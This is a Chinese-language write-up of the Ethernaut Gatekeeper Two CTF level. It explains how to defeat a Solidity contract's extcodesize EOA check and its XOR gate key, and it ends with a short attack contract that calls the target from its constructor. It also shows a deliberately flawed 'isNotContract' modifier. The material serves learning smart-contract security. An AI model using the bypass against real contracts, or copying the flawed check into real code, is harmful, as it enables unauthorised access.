# Ethernaut CTF Level 14 - Gatekeeper Two ## 題目 守衛帶來了一些新的挑戰,同樣地,你需要注冊為參賽者才能通過這一關。 可能會有用的資訊 - 回想一下你從上一個守衛那學到了什麽,第一道門是一樣的 - 第二道門的 assembly 關鍵字可以讓合約去存取 Solidity 非原生的功能。參見 這裡。在這道門的 extcodesize 函式,可以用來得到給定地址的合約程式碼長度,你可以在 黃皮書 的第七章學到更多相關的資訊。 - `^` 字元在第三個門裡是位元運算 (XOR),在這裡是為了應用另一個常見的位元運算手段 (參見 這裡)。Coin Flip 關卡也是一個想要破這關很好的參考資料。 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller()) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } ``` <br> ## 分析 ### GateOne 這跟前面關卡很類似,只要用錢包呼叫合約,合約呼叫目標合約(題目)即可 [Ethernaut CTF Level 4 - Telephone](https://hackmd.io/@0xbc000/Hye3kFs4p/https%3A%2F%2Fhackmd.io%2F%400xbc000%2FHkI4o9o46) ### GateTwo 新的概念,如題目所寫的,需要caller的code size為零 `extcodesize` 會被 ***錯誤的*** 拿來判斷caller是EOA還是contract所用 一個不好的範例如下 ```solidity= // bad example modifier isNotContract(address _a) { uint size; assembly { size := extcodesize(_a) } require(size == 0); _; } ``` 問題點在 如果是constructor在跑的時候,code size也會是 0 > However, a contract does not have source code available during construction. This means that while the constructor is running, it can make calls to other contracts, but extcodesize for its address returns zero. 並附上bypass code ```solidity= contract OnlyForEOA { uint public flag; // bad modifier isNotContract(address _a){ uint len; assembly { len := extcodesize(_a) } require(len == 0); _; } function setFlag(uint i) public isNotContract(msg.sender){ flag = i; } } contract FakeEOA { constructor(address _a) public { OnlyForEOA c = OnlyForEOA(_a); c.setFlag(1); } } ``` <br> 參考資料 - https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/ ### Gate Three ```solidity! require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); ``` 這邊要求一個`_gateKey`能滿足上述 xor 要求 要推導出來很簡單,直接寫成以下合約部分即可 ``` uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1) ``` <br> ## 攻擊 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IGateKeeperTwo { function enter(bytes8 _gateKey) external returns (bool); } contract AttackGateKeeperTwo { constructor(address _levelInstance) { address orgContract = _levelInstance; unchecked{ bytes8 gateKey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0)-1)); IGateKeeperTwo(orgContract).enter(gateKey); } } } ```